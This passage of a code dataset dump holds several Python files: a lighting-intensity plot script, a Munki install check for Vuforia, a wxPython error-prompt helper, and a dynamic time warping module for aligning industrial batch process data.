[[0 for i in range(self.steps)] for j in range(self.steps)]\r\n self.y = deepcopy(self.x)\r\n self.I = deepcopy(self.x)\r\n self.SRange = list(range(-int(10/Length), int(10/Length)+1, 1))\r\n self.l = Length \r\n self.comput()\r\n #self.plot()\r\n def comput(self):\r\n for i in range(self.steps):\r\n for j in range(self.steps):\r\n self.x[i][j] = i * self.dr\r\n self.y[i][j] = j * self.dr\r\n for i in range(self.steps):\r\n for j in range(i+1):\r\n for m in self.SRange:\r\n for n in self.SRange:\r\n self.d = math.hypot(self.x[i][j] + m * self.l, self.y[i][j] + n * self.l)\r\n self.I[i][j] += Calculate(self.d, self.dr, self.h, self.C)\r\n def plot(self):\r\n for i in range(self.steps):\r\n for j in range(i):\r\n self.I[j][i] = self.I[i][j] \r\n ps = self.steps * 2 - 1\r\n self.X = [[0 for i in range(ps)] for j in range(ps)]\r\n self.Y = deepcopy(self.X)\r\n self.E = deepcopy(self.X)\r\n for i in range(ps):\r\n for j in range(ps):\r\n self.X[i][j] = i * self.dr\r\n self.Y[i][j] = j * self.dr\r\n for i in range(ps):\r\n for j in range(ps):\r\n if (i < (ps // 2)):\r\n if(j < (ps // 2)):\r\n self.E[i][j] = self.I[ps // 2 - i][ps // 2 - j]\r\n else:\r\n self.E[i][j] = self.I[ps // 2 - i][j - ps // 2]\r\n else:\r\n if(j < (ps / 2)):\r\n self.E[i][j] = self.I[i - ps // 2][ps // 2 - j]\r\n else:\r\n self.E[i][j] = self.I[i - ps // 2][j - ps // 2]\r\n\r\n ps2 = 2 * ps\r\n self.X2 = [[0 for i in range(ps2)] for j in range(ps2)]\r\n self.Y2 = deepcopy(self.X2)\r\n self.E2 = deepcopy(self.X2)\r\n for i in range(ps2):\r\n for j in range(ps2):\r\n self.X2[i][j] = i * self.dr\r\n self.Y2[i][j] = j * self.dr\r\n for i in range(ps2):\r\n for j in range(ps2):\r\n if (i < (ps2 // 2)):\r\n if(j < (ps2 // 2)):\r\n self.E2[i][j] = self.E[i][j]\r\n else:\r\n self.E2[i][j] = self.E[i][j - ps2 // 2]\r\n else:\r\n if(j < (ps / 2)):\r\n self.E2[i][j] = self.E[i - ps2 // 2][j]\r\n else:\r\n self.E2[i][j] = self.E[i - ps2 // 2][j - ps2 // 2]\r\n \r\n fig = pl.figure()\r\n ax = fig.gca(projection=\"3d\")\r\n surf = ax.plot_surface(self.X2, self.Y2, self.E2, rstride=3, cstride=3, cmap=cm.coolwarm, linewidth=0.2)\r\n pl.show()\r\n \r\ndef Find():\r\n l = 1.37\r\n while(1):\r\n A = search(Length = l)\r\n Min = float(\"inf\")\r\n Max = -float(\"inf\")\r\n for i in range(A.steps):\r\n for j in range(i+1):\r\n if (Min > A.I[i][j]):\r\n Min = A.I[i][j]\r\n if (Max < A.I[i][j]):\r\n Max = A.I[i][j]\r\n print(l)\r\n print(Min, Max)\r\n if (Min < 200):\r\n l -= 0.005\r\n else:\r\n break\r\n print(l)\r\n\r\nA = search(step=0.01, Parameter=900, Height=2, Length=1.36)\r\nA.plot()\r\n\r\n\r\n\r\n\r\n","sub_path":"code/thelight.py","file_name":"thelight.py","file_ext":"py","file_size_in_byte":6682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"645980911","text":"#!/usr/bin/python\nimport xml.etree.ElementTree as ET\nimport os.path\n\nxml_file = \"/Applications/Unity/PlaybackEngines/VuforiaSupport/ivy.xml\"\ncurrent_version = ''\n\nif os.path.exists(xml_file):\n tree = ET.parse(xml_file)\n root = tree.getroot()\n\n info = root.findall('info')\n\n version = info[0].get('{http://ant.apache.org/ivy/extra}unityVersion')\n\n if version != current_version:\n # version does not match\n exit(0)\n else:\n # version is okay\n exit(1)\n\nelse:\n # software not installed\n exit(0)\n\n# https://github.com/munki/munki/wiki/How-Munki-Decides-What-Needs-To-Be-Installed\n# exit code status of 0 means not installed, for install check script\n\n","sub_path":"munki_templates/vurforia.py","file_name":"vurforia.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"489945106","text":"import wx\n\nimport logging\nlog = logging.getLogger('EClass')\n\nclass GUIErrorCallbacks:\n def displayError(self, message, title=_(\"EClass.Builder Error\")):\n wx.MessageBox(message, style=wx.OK|wx.ICON_ERROR)\n if log:\n log.error(message)\n \n def displayWarning(self, message, title=_(\"EClass.Builder Warning\")):\n wx.MessageBox(message, style=wx.OK|wx.ICON_EXCLAMATION)\n if log:\n log.warn(message)\n \n def displayInformation(self, message, title=_(\"EClass.Builder Message\")):\n wx.MessageBox(message, style=wx.OK|wx.ICON_INFORMATION)\n if log:\n log.info(message) \n\nerrorPrompts = GUIErrorCallbacks()\n","sub_path":"eclass_builder/gui/prompts.py","file_name":"prompts.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"281812735","text":"\"\"\"\ndtw class and load_data function\n\"\"\"\nfrom collections import defaultdict\nimport re\nimport pickle\nimport multiprocessing\nfrom copy import copy, deepcopy\nimport numpy as np\nfrom sklearn.metrics.pairwise import pairwise_distances\nfrom scipy.spatial.distance import euclidean\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom joblib import Parallel, delayed\nimport pandas as pd\nfrom tqdm import tqdm\n\ndef load_data(n_to_keep=50, data_path = \"data/ope3_26.pickle\"):\n \"\"\"\n Load data of operation 3.26, only the n_to_keep batches with duration closer to the median one\n are selected\n\n Parameters\n ----------\n n_to_keep : int\n Number of batches with duration close to the median one to include in the data set\n data_path : string\n \"\"\"\n with open(data_path, \"rb\") as infile:\n data = pickle.load(infile)\n\n operation_length = list()\n pv_dataset = list()\n for _id, pvs in data.items():\n operation_length.append((len(pvs[0]['values']), _id))\n pv_list = list()\n for pv_dict in pvs:\n pv_list.append(pv_dict['name'])\n pv_dataset.append(pv_list)\n\n median_len = np.median([l for l, _id in operation_length])\n\n # Select the batches closer to the median one\n # center around the median\n centered = [(abs(l-median_len), _id) for l, _id in operation_length]\n selected = sorted(centered)[:n_to_keep]\n\n med_id = selected[0][1] # 5153\n\n all_ids = list(data.keys())\n for _id in all_ids:\n if _id not in [x[1] for x in selected]:\n _ = data.pop(_id)\n\n data['reference'] = med_id\n\n return data\n\ndef assign_ref(data):\n \"\"\"\n Given a data set in the usual form, chooses the reference as the batch with the median length\n\n Parameters\n ----------\n data : dict\n Dictionary of data in the form {batch_id : list_ov_PVs_dictionaries}\n\n Returns\n -------\n data : dict\n data as input, with 'reference' key included\n \"\"\"\n data = copy(data)\n operation_length = list()\n pv_dataset = list()\n for _id, pvs in data.items():\n operation_length.append((len(pvs[0]['values']), _id))\n pv_list = list()\n for pv_dict in pvs:\n pv_list.append(pv_dict['name'])\n pv_dataset.append(pv_list)\n\n median_len = np.median([l for l, _id in operation_length])\n\n # Select the ref_len=50 closest to the median bacthes\n # center around the median\n centered = [(abs(l-median_len), _id) for l, _id in operation_length]\n selected = sorted(centered)\n\n med_id = selected[0][1] # 5153\n\n # pop batches without all pvs\n # ids = list(data.keys())\n # for _id in ids:\n # k = len(data[_id])\n # if k != 99:\n # data.pop(_id)\n\n all_ids = list(data.keys())\n for _id in all_ids:\n if _id not in [x[1] for x in selected]:\n _ = data.pop(_id)\n\n data['reference'] = med_id\n\n return data\n\nclass Dtw:\n \"\"\"\n Everything related to dtw and optimization\n \"\"\"\n\n def __init__(self, json_obj=False, random_weights = True, scaling='group'):\n \"\"\"\n Initialization of the class.\n\n Parameters\n ----------\n json_obj : Dict\n Dictionary of the form {query_id1 : list_of_PVs1, ..., query_idN : list_of_PVsN,\n 'reference' : reference_id}\n random_weights : Boolean\n If True, initialize the variables weights to a random number\n in the [0.1, 1] interval\n If False, weights are initialized to 1.0\n scaling : String\n If 'group', scales the PVs according to the range of the respective PV\n in the reference batch\n If 'single', the PV values are scaled to the [0, 1] interval\n \"\"\"\n if not json_obj:\n pass\n else:\n self.convert_data_from_json(deepcopy(json_obj))\n #self.scale_params = self.get_scaling_parameters()\n self.remove_const_feats()\n self.reset_weights(random=random_weights)\n self.scaling = scaling\n\n def convert_data_from_json(self, json_obj):\n \"\"\"\n Returns a dictionary containing all the data, organized as:\n ref_id: the ID of the reference batch\n reference: reference batch in the usual format (list of dictionaries)\n queries: list of dictionaries in which the keys are the query batch's ID and the values are\n the actual batches (list of dictionaries)\n num_queries: number of query batches in the data set\n\n Parameters\n ----------\n\n json_obj : Dict\n Dictionary of the form {query_id1 : list_of_PVs1, ..., query_idN : list_of_PVsN,\n 'reference' : reference_id}\n \"\"\"\n ref_id = json_obj[\"reference\"]\n reference = json_obj[ref_id]\n queries = {key: batch for key, batch in json_obj.items() if key !=\n \"reference\" and key != ref_id}\n\n self.data = {\"ref_id\": ref_id,\n \"reference\": reference,\n \"queries\": queries,\n \"num_queries\": len(queries),\n \"warpings\": dict(),\n \"distances\": dict(),\n 'warp_dist': dict(),\n \"queriesID\": list(queries.keys()),\n \"time_distortion\": defaultdict(dict),\n \"distance_distortion\": defaultdict(dict),\n 'warpings_per_step_pattern': defaultdict(dict),\n 'feat_weights': 1.0}\n\n self.data_open_ended = {\"ref_id\": ref_id,\n \"reference\": reference,\n \"queries\": defaultdict(list),\n 'warp_dist': dict()}\n scale_params = dict()\n\n for pv_dict in self.data['reference']:\n pv_name = pv_dict['name']\n pv_min = min(pv_dict['values'])\n pv_max = max(pv_dict['values'])\n scale_params[pv_name] = (pv_min, pv_max)\n\n self.scale_params = scale_params\n\n def add_query(self, batch_dict):\n \"\"\"\n Adds a query batch to the Dtw object. After adding, it filters the PVs it contatins.\n It's possible the batch is discarded because it does not contain all the needed PVs.\n\n Parameters\n ----------\n batch_dict : Dictionary of the form {query_id: list_of_PVs_dictionaries}\n \"\"\"\n _id, pvs = list(batch_dict.items())[0]\n self.data['queries'][_id] = pvs\n self.remove_const_feats()\n\n def get_scaling_parameters(self):\n \"\"\"\n Computes the parameters necessary for scaling the features as a 'group'.\n This means considering the mean range of a variable across al the data set.\n This seems creating problems, since the distributions for the minimum and the\n maximum are too spread out. This method is here just in case of future use and to help\n removing non-informative (constant) features.\n avg_range = [avg_min, avg_max]\n\n Returns\n -------\n scale_parameters : dictionary of the form {pv_name : [pv_min, pv_max]}\n \"\"\"\n scale_params = dict()\n\n for pv_dict in self.data['reference']:\n pv_name = pv_dict['name']\n pv_min = min(pv_dict['values'])\n pv_max = max(pv_dict['values'])\n\n scale_params[pv_name] = [[pv_min], [pv_max]]\n\n for _id, batch in self.data['queries'].items():\n for pv_dict in batch:\n pv_name = pv_dict['name']\n pv_min = min(pv_dict['values'])\n pv_max = max(pv_dict['values'])\n\n scale_params[pv_name][0].append(pv_min)\n scale_params[pv_name][1].append(pv_max)\n\n pv_names = scale_params.keys()\n for pv_name in pv_names:\n scale_params[pv_name] = np.median(scale_params[pv_name], axis=1)\n\n return scale_params\n\n def remove_const_feats(self):\n \"\"\"\n Removes non-informative features (features with low variability == constant features)\n \"\"\"\n const_feats = list()\n for pv_name, avg_range in self.scale_params.items():\n if abs(avg_range[0]-avg_range[1]) < 1e-6:\n const_feats.append(pv_name)\n #const_feats.append('ba_TCzWpXo')\n #const_feats.append('ba_TCfg3Yxn')\n #const_feats.append('ba_FQYXdr6Q0')\n\n\n initial_queries = list(self.data['queries'].keys())\n # print('Number of queries before filtering: %d'%len(initial_queries))\n\n self.data['reference'] = list(filter(lambda x: x['name'] not in const_feats, self.data['reference']))\n pv_names = [pv['name'] for pv in self.data['reference']]\n for _id in initial_queries:\n self.data['queries'][_id] = list(filter(lambda x: x['name'] in pv_names, self.data['queries'][_id]))\n if len(self.data['queries'][_id]) != len(self.data['reference']):\n _ = self.data['queries'].pop(_id)\n # print('Number of queries after filtering: %d'%len(self.data['queries']))\n\n self.data['num_queries'] = len(self.data['queries'])\n self.data['queriesID'] = list(self.data['queries'].keys())\n self.pv_names = pv_names\n\n def scale_pv(self, pv_name, pv_values, mode=\"single\"):\n \"\"\"\n Scales features in two possible ways:\n 'single': the feature is scaled according to the values it assumes in the current batch\n 'group': the feature is scaled according to its average range across the whole data set\n\n Parameters\n ----------\n pv_name : String\n Name of the PV being scaled. It's needed for selecting the relevant\n scaling parameters\n pv_values : List\n List of pv values\n mode : String\n 'single': the feature is scaled according to the values it assumes in\n the current batch\n 'group': the feature is scaled according to its average range across\n the whole data set\n\n Returns\n -------\n scaled_pv_values : Numpy array\n Array of scaled pv values\n \"\"\"\n if mode == \"single\":\n pv_min = min(pv_values)\n pv_max = max(pv_values)\n if abs(pv_max-pv_min) > 1e-6:\n scaled_pv_values = (np.array(pv_values)-pv_min)/(pv_max-pv_min)\n else:\n scaled_pv_values = .5 * np.ones(len(pv_values))\n elif mode == \"group\":\n pv_min, pv_max = self.scale_params[pv_name]\n scaled_pv_values = (np.array(pv_values)-pv_min)/(pv_max-pv_min)\n return scaled_pv_values\n\n def convert_to_mvts(self, batch): # mvts = Multi Variate Time Series\n \"\"\"\n Takes one batch in the usual form (list of one dictionary per PV) and transforms\n it to a numpy array to perform calculations faster\n\n Parameters\n ----------\n batch : List\n List of PV dictionaries\n\n Returns\n -------\n mvts : Numpy array\n Matrix form of a batch. Each column corresponds to a PV and each row to a sample\n \"\"\"\n k = len(batch[0]['values']) # Length of a batch (number of data points per single PV)\n num_feat = len(batch) # Number of PVs\n\n mvts = np.zeros((k, num_feat))\n\n for (i, pv_dict) in zip(np.arange(num_feat), batch):\n mvts[:, i] = self.scale_pv(pv_dict['name'], pv_dict['values'], self.scaling)\n\n return mvts\n\n def comp_dist_matrix(self, reference_ts, query_ts, n_jobs=1):\n \"\"\"\n Computes the distance matrix with ref_len (length of the reference) number of rows and\n query_len (length of the query) number of columns (OK with convention on indices in dtw)\n with dist_measure as local distance measure\n\n Parameters\n ----------\n reference_ts : Numpy array\n mvts representation of reference batch\n query_ts : Numpy array\n mvts representation of query batch\n\n n_jobs : int\n number of jobs for pairwise_distances function. It could cause problems when\n running on windows\n\n Returns\n -------\n distance_matrix : Numpy array\n Local distance matrix\n \"\"\"\n _, d_1 = reference_ts.shape\n _, d_2 = query_ts.shape\n\n if d_1 != d_2:\n print(\"Number of features not coherent between reference ({0}) and query ({1})\"\n .format(d_1, d_2))\n return None\n\n distance_matrix = pairwise_distances(\n X=reference_ts, Y=query_ts, metric=euclidean, n_jobs=n_jobs, w=self.data['feat_weights']\n )\n\n return distance_matrix\n\n def comp_acc_dist_matrix(self, distance_matrix, step_pattern='symmetricP05', open_ended=False):\n \"\"\"\n Computes the accumulated distance matrix starting from the distance_matrix according to the\n step_pattern indicated\n\n Parameters\n ----------\n distance_matrix : Numpy array\n Local distance matrix\n step_pattern : String\n String indicating the step pattern to be used. Can be symmetric1/2,\n symmetricP05 or symmetricPX, with X any positive integer\n\n Returns\n -------\n acc_dist_matrix : Numpy array\n Accumulated distance matrix\n \"\"\"\n ref_len, query_len = distance_matrix.shape\n acc_dist_matrix = np.empty((ref_len, query_len))\n if not open_ended:\n for i in np.arange(ref_len):\n for j in np.arange(query_len):\n acc_dist_matrix[i, j] = self.comp_acc_element(\n i, j, acc_dist_matrix, distance_matrix, step_pattern)\\\n if self.itakura(i, j, ref_len, query_len, step_pattern) else np.inf\n\n else:\n for i in np.arange(ref_len):\n for j in np.arange(query_len):\n acc_dist_matrix[i, j] = self.comp_acc_element(\n i, j, acc_dist_matrix, distance_matrix, step_pattern)\n return acc_dist_matrix\n\n def comp_acc_element(self, i, j, acc_dist_matrix, distance_matrix, step_pattern):\n \"\"\"\n Computes the value of a cell of the accumulated distance matrix\n\n Parameters\n ----------\n i : Int\n row (reference) index\n j : Int\n column (query) index\n acc_dist_matrix : Numpy array\n Accumulated distance matrix\n distance_matrix : Numpy array\n Local distance matrix\n step_pattern : String\n Step pattern to be used for calculations\n\n Returns\n -------\n Float. Value of the (i, j) cell of the accumulated distance matrix\n \"\"\"\n if (i == 0 and j == 0):\n return distance_matrix[0, 0]\n\n if step_pattern == \"symmetricP05\":\n\n p_1 = acc_dist_matrix[i-1, j-3] + 2 * distance_matrix[i, j-2] + distance_matrix[i, j-1]\\\n + distance_matrix[i, j] if (i-1 >= 0 and j-3 >= 0) else np.inf\n p_2 = acc_dist_matrix[i-1, j-2] + 2 * distance_matrix[i, j-1] + \\\n distance_matrix[i, j] if (i-1 >= 0 and j-2 >= 0) else np.inf\n p_3 = acc_dist_matrix[i-1, j-1] + 2 * \\\n distance_matrix[i, j] if (i-1 >= 0 and j-1 >= 0) else np.inf\n p_4 = acc_dist_matrix[i-2, j-1] + 2 * distance_matrix[i-1, j] + \\\n distance_matrix[i, j] if (i-2 >= 0 and j-1 >= 0) else np.inf\n p_5 = acc_dist_matrix[i-3, j-1] + 2 * distance_matrix[i-2, j] + distance_matrix[i-1, j]\\\n + distance_matrix[i, j] if (i-3 >= 0 and j-1 >= 0) else np.inf\n\n return min(p_1, p_2, p_3, p_4, p_5) # /sum(acc_dist_matrix.shape)\n\n if step_pattern == \"symmetric1\":\n p_1 = acc_dist_matrix[i, j-1] + distance_matrix[i, j] if (j-1 >= 0) else np.inf\n p_2 = acc_dist_matrix[i-1, j-1] + distance_matrix[i, j]\\\n if (i-1 >= 0 and j-1 >= 0) else np.inf\n p_3 = acc_dist_matrix[i-1, j] + distance_matrix[i, j] if (i-1 >= 0) else np.inf\n\n return min(p_1, p_2, p_3)\n\n if step_pattern == \"symmetric2\":\n p_1 = acc_dist_matrix[i, j-1] + distance_matrix[i, j] if (j-1 >= 0) else np.inf\n p_2 = acc_dist_matrix[i-1, j-1] + 2 * \\\n distance_matrix[i, j] if (i-1 >= 0 and j-1 >= 0) else np.inf\n p_3 = acc_dist_matrix[i-1, j] + distance_matrix[i, j] if (i-1 >= 0) else np.inf\n\n return min(p_1, p_2, p_3) # /sum(acc_dist_matrix.shape)\n\n patt = re.compile(\"symmetricP[1-9]+\\d*\")\n if patt.match(step_pattern):\n p = int(step_pattern[10:])\n p_1 = acc_dist_matrix[i-p, j-(p+1)] + 2*sum([distance_matrix[i-p, j-(p+1)]\\\n for p in np.arange(0, p)]) + distance_matrix[i, j]\\\n if (i-p >= 0 and j-(p+1) >= 0) else np.inf\n p_2 = acc_dist_matrix[i-1, j-1] + \\\n 2 * distance_matrix[i, j] if (i-1 >= 0 and j-1 >= 0) else np.inf\n p_3 = acc_dist_matrix[i-(p+1), j-p] + 2*sum([distance_matrix[i-(p+1), j-p]\\\n for p in np.arange(0, p)]) + distance_matrix[i, j] \\\n if (i-(p+1) >= 0 and j-p >= 0) \\\n else np.inf\n\n return min(p_1, p_2, p_3) # /sum(acc_dist_matrix.shape)\n\n def get_warping_path(self, acc_dist_matrix, step_pattern, ref_len, query_len):\n \"\"\"\n Computes the warping path on the acc_dist_matrix induced by step_pattern starting from\n the (ref_len,query_len) point (this in order to use the method in both open_ended and global\n alignment)\n Return the warping path (list of tuples) in ascending order\n\n Parameters\n ----------\n acc_dist_matrix : Numpy array\n Accumulated distance matrix\n step_pattern : String\n Step pattern to be used\n ref_len : Int\n Length of the reference prefix matched\n query_len : Int\n Length of the query to consider\n\n Returns\n -------\n warping_path : List\n List of tuples containing the warping path's steps\n \"\"\"\n # ref_len, query_len = acc_dist_matrix.shape\n warping_path = list()\n\n if step_pattern == \"symmetric1\" or step_pattern == \"symmetric2\":\n i = ref_len-1\n j = query_len-1\n while i != 0 or j != 0:\n warping_path.append((i, j))\n candidates = list()\n if i > 0:\n candidates.append((acc_dist_matrix[i-1, j], (i-1, j)))\n if j > 0:\n candidates.append((acc_dist_matrix[i, j-1], (i, j-1)))\n if len(candidates) == 2:\n candidates.append((acc_dist_matrix[i-1, j-1], (i-1, j-1)))\n\n next_step = min(candidates)[1]\n i, j = next_step\n warping_path.append((0, 0))\n\n return warping_path[::-1]\n\n elif step_pattern == \"symmetricP05\":\n # maxWarp = 2\n # minDiag = 1\n i = ref_len-1\n j = query_len-1\n\n if np.isnan(acc_dist_matrix[i, j]):\n print(\"Invalid value for P, \\\n a global alignment is not possible with this local constraint\")\n return\n h_step = 0 # horizontal step\n v_step = 0 # vertical step\n d_step = 0 # diagonal step\n\n while i != 0 or j != 0:\n warping_path.append((i, j))\n candidates = list()\n\n if h_step > 0:\n if h_step == 1:\n if j > 0:\n candidates.append((acc_dist_matrix[i, j-1], (i, j-1)))\n if j > 0 and i > 0:\n candidates.append((acc_dist_matrix[i-1, j-1], (i-1, j-1)))\n elif h_step == 2:\n if j > 0 and i > 0:\n candidates.append((acc_dist_matrix[i-1, j-1], (i-1, j-1)))\n\n elif v_step > 0:\n if v_step == 1:\n if i > 0:\n candidates.append((acc_dist_matrix[i-1, j], (i-1, j)))\n if j > 0 and i > 0:\n candidates.append((acc_dist_matrix[i-1, j-1], (i-1, j-1)))\n elif v_step == 2:\n if j > 0 and i > 0:\n candidates.append((acc_dist_matrix[i-1, j-1], (i-1, j-1)))\n\n else:\n if j > 0:\n candidates.append((acc_dist_matrix[i, j-1], (i, j-1)))\n if i > 0:\n candidates.append((acc_dist_matrix[i-1, j], (i-1, j)))\n if j > 0 and i > 0:\n candidates.append((acc_dist_matrix[i-1, j-1], (i-1, j-1)))\n\n next_step = min(candidates)[1]\n v = next_step[0] < i\n h = next_step[1] < j\n d = v and h\n\n if d:\n v_step = 0\n h_step = 0\n elif v:\n v_step += 1\n elif h:\n h_step += 1\n\n i, j = next_step\n\n warping_path.append((0, 0))\n\n return warping_path[::-1]\n\n else:\n patt = re.compile(\"symmetricP[1-9]+\\d*\")\n if patt.match(step_pattern):\n\n min_diag_steps = int(step_pattern[10:])\n\n warp_step = 0\n d_step = 0\n i = ref_len-1\n j = query_len-1\n\n if np.isinf(acc_dist_matrix[i, j]):\n print(\"Invalid value for P, \\\n a global alignment is not possible with this local constraint\")\n return\n\n while i != 0 and j != 0:\n warping_path.append((i, j))\n candidates = list()\n if warp_step > 0:\n candidates.append((acc_dist_matrix[i-1, j-1], (i-1, j-1)))\n else:\n if j > 0:\n candidates.append((acc_dist_matrix[i, j-1], (i, j-1)))\n if i > 0:\n candidates.append((acc_dist_matrix[i-1, j], (i-1, j)))\n if len(candidates) == 2:\n candidates.append((acc_dist_matrix[i-1, j-1], (i-1, j-1)))\n\n next_step = min(candidates)[1]\n v = next_step[0] < i\n h = next_step[1] < j\n d = v and h\n\n if d:\n d_step += 1\n if d_step == min_diag_steps:\n d_step = 0\n warp_step = 0\n elif d_step < min_diag_steps and warp_step > 0:\n pass\n elif d_step < min_diag_steps and warp_step == 0:\n d_step = 0\n else:\n warp_step += 1\n\n i, j = next_step\n\n warping_path.append((0, 0))\n\n return warping_path[::-1]\n\n else:\n print(\"Invalid step-pattern\")\n\n def call_dtw(self, query_id, step_pattern=\"symmetricP05\",\n n_jobs=1, open_ended=False, get_results=False, length = 0, all_sub_seq=False):\n \"\"\"\n Calls the dtw method on the data stored in the .data attribute (needs only the query_id in \\\n addition to standard parameters)\n get_results if True returns the distance and the warping calculated; if False, \\\n only the .data attribute is updated\n\n Parameters\n ----------\n query_id : String\n String indicating the ID of the query batch\n step_pattern : String\n Step pattern to be used\n n_jobs : Int\n Number of processor to use\n open_ended : Boolean\n Indicates whether to use the open-ended version of DTW or not\n get_results : Boolean\n If True, returns the results of the computation. It's different for open-ended\n and standard version\n length : Int\n Length of the query batch to be used for open-ended DTW (single call)\n all_sub_seq : Boolean\n If True, appliues open-ended DTW to all sub-sequences of the query batch\n\n Returns\n -------\n Results of the computations if get_results = True\n \"\"\"\n if not open_ended:\n if step_pattern in self.data['warpings_per_step_pattern']:\n if query_id in self.data['warpings_per_step_pattern'][step_pattern]:\n return\n\n reference_ts = self.convert_to_mvts(self.data['reference'])\n query_ts = self.convert_to_mvts(self.data['queries'][query_id])\n\n result = deepcopy(self.dtw(reference_ts, query_ts, step_pattern, n_jobs, open_ended))\n\n self.data[\"warpings\"][query_id] = result[\"warping\"]\n self.data[\"distances\"][query_id] = result[\"DTW_distance\"]\n self.data['warp_dist'][query_id]=list()\n for (i,j) in result[\"warping\"]:\n self.data['warp_dist'][query_id].append((i, j, result['acc_matrix'][i, j]/(i+j+2)))\n\n self.data['time_distortion'][step_pattern][query_id] = \\\n copy(self.time_distortion(result['warping']))\n #print(step_pattern, query_id, self.data['time_distortion'][step_pattern][query_id])\n self.data['distance_distortion'][step_pattern][query_id] = result[\"DTW_distance\"]\n self.data['warpings_per_step_pattern'][step_pattern][query_id] = list()\n for i, j in result['warping']:\n self.data['warpings_per_step_pattern'][step_pattern][query_id].append((i, j, result['acc_matrix'][i,j]/(i+j+2)))\n\n if get_results:\n return result\n\n if open_ended:\n # ADD ALL SUB SEQUENCE OPTION#############################\n if all_sub_seq:\n reference_ts = self.convert_to_mvts(self.data['reference'])\n query_ts = self.convert_to_mvts(self.data['queries'][query_id])\n\n result = self.dtw(reference_ts, query_ts, step_pattern, n_jobs, open_ended=False)\n\n acc_dist_matrix = result['acc_matrix']\n N, M = acc_dist_matrix.shape\n self.data_open_ended['warp_dist'][query_id] = list()\n for j in np.arange(M):\n candidate = acc_dist_matrix[:, j]\n candidate /= np.arange(2, N+2) + j\n i_min, dtw_dist = np.argmin(candidate), min(candidate)\n\n self.data_open_ended['warp_dist'][query_id].append((i_min, j, dtw_dist))\n return\n\n if not length:\n print(\"Length cannot be 0\")\n return\n\n if not self.check_open_ended(query_id, length, step_pattern):\n\n query_ts = self.convert_to_mvts(self.online_query(query_id, length))\n reference_ts = self.convert_to_mvts(self.data['reference'])\n\n result = self.dtw(reference_ts, query_ts, step_pattern, n_jobs, open_ended)\n\n data_point = {'length': length,\n 'DTW_distance': result['DTW_distance'],\n 'warping':result['warping'],\n 'step_pattern': step_pattern}\n self.data_open_ended['queries'][query_id].append(data_point)\n\n if get_results:\n return list(filter(lambda x: x['step_pattern']==step_pattern and x['length']==length, self.data_open_ended['queries'][query_id]))[0]\n\n def dtw(self, reference_ts, query_ts, step_pattern=\"symmetricP05\",\n n_jobs=1, open_ended=False):\n \"\"\"\n Compute alignment betwwen reference_ts and query_ts (already in mvts form).\n Separate from call_dtw() for testing purposes\n\n Parameters\n ----------\n reference_ts : numpy array\n mvts representation of reference batch\n query_ts : numpy array\n mvts representation of query batch\n step_pattern : string\n Step pattern to be used\n n_jobs : int\n Number of cores to use\n open_ended : boolean\n If True, applies open-ended version of DTW to the whole query series\n\n Returns\n -------\n dict\n {\"warping\": warping,\n \"DTW_distance\": dtw_dist,\n 'acc_matrix': acc_dist_matrix}\n \"\"\"\n # Check for coherence of local constraint and global alignment\n # (in case a PX local constraint is used)\n if not open_ended:\n patt = re.compile(\"symmetricP[1-9]+\\d*\")\n if patt.match(step_pattern):\n p = int(step_pattern[step_pattern.index(\"P\")+1:])\n ref_len, query_len = len(reference_ts), len(query_ts)\n p_max = np.floor(min(ref_len, query_len)/np.abs(ref_len-query_len)) \\\n if np.abs(ref_len-query_len) > 0 else np.inf\n if p > p_max:\n print(\"Invalid value for P, \\\n a global alignment is not possible with this local constraint\")\n return\n else:\n pass\n\n distance_matrix = self.comp_dist_matrix(reference_ts, query_ts, n_jobs)\n\n acc_dist_matrix = self.comp_acc_dist_matrix(distance_matrix, step_pattern, open_ended)\n\n ref_len, query_len = acc_dist_matrix.shape\n # In case of open-ended version\n # correctly identifies the starting point on the reference batch for warping\n if open_ended:\n ref_len = self.get_ref_prefix_length(acc_dist_matrix)\n\n warping = self.get_warping_path(acc_dist_matrix, step_pattern, ref_len, query_len)\n\n dtw_dist = acc_dist_matrix[ref_len-1, query_len-1] / (ref_len+query_len)\n\n return {\"warping\": warping,\n \"DTW_distance\": dtw_dist,\n 'acc_matrix': acc_dist_matrix}\n\n def get_ref_prefix_length(self, acc_dist_matrix):\n \"\"\"\n Computes the length of the reference prefix in case of open-ended alignment\n\n Parameters\n ----------\n acc_dist_matrix : Numpy array\n Accumulated distance matrix\n \"\"\"\n N, M = acc_dist_matrix.shape\n last_column = acc_dist_matrix[:, -1]/np.arange(1, N+1)\n\n ref_prefix_len = np.argmin(last_column) + 1\n return ref_prefix_len\n\n def distance_cost_plot(self, distance_matrix):\n \"\"\"\n Draws a heatmap of distance_matrix, nan values are colored in green\n\n Parameters\n ----------\n distance_matrix : Numpy array\n Local or accumulated distance matrix\n \"\"\"\n cmap = matplotlib.cm.inferno\n cmap.set_bad('green', .3)\n masked_array = np.ma.array(distance_matrix, mask=np.isnan(distance_matrix))\n img = plt.imshow(masked_array, interpolation='nearest', cmap=cmap)\n\n plt.gca().invert_yaxis()\n plt.xlabel(\"X\")\n plt.ylabel(\"Y\")\n plt.grid()\n plt.colorbar()\n\n def time_distortion(self, warping_path):\n \"\"\"\n Computes the time distortion caused by warping_path\n\n Parameters\n ----------\n warping_path : List\n List of tuples with warping steps\n\n Returns\n -------\n Int\n Time distortion (sum of vertical or horizontal steps) relative to the warping path\n \"\"\"\n T = len(warping_path)\n f_q = [w[1] for w in warping_path]\n f_r = [w[0] for w in warping_path]\n\n t_d = [(f_r[t+1] - f_r[t])*(f_q[t+1] - f_q[t]) == 0 for t in np.arange(T-1)]\n\n return sum(t_d)\n\n def avg_time_distortion(self, step_pattern):\n \"\"\"\n Computes the average time distortion relative to a certain step pattern\n\n Parameters\n ----------\n step_pattern : String\n Step pattern to look for in the Dtw object where all the time distortions\n are stored\n\n Returns\n -------\n Float\n Average time distortion relative to the application of DTW with the specified\n step pattern\n \"\"\"\n if len(self.data['time_distortion'][step_pattern]) != self.data['num_queries']:\n print('Not every query aligned, align the remaining queries')\n return\n else:\n I = self.data['num_queries']\n avg_td = sum(self.data['time_distortion'][step_pattern].values())/I\n return avg_td\n\n def avg_distance(self, step_pattern):\n \"\"\"\n Computes average DTW 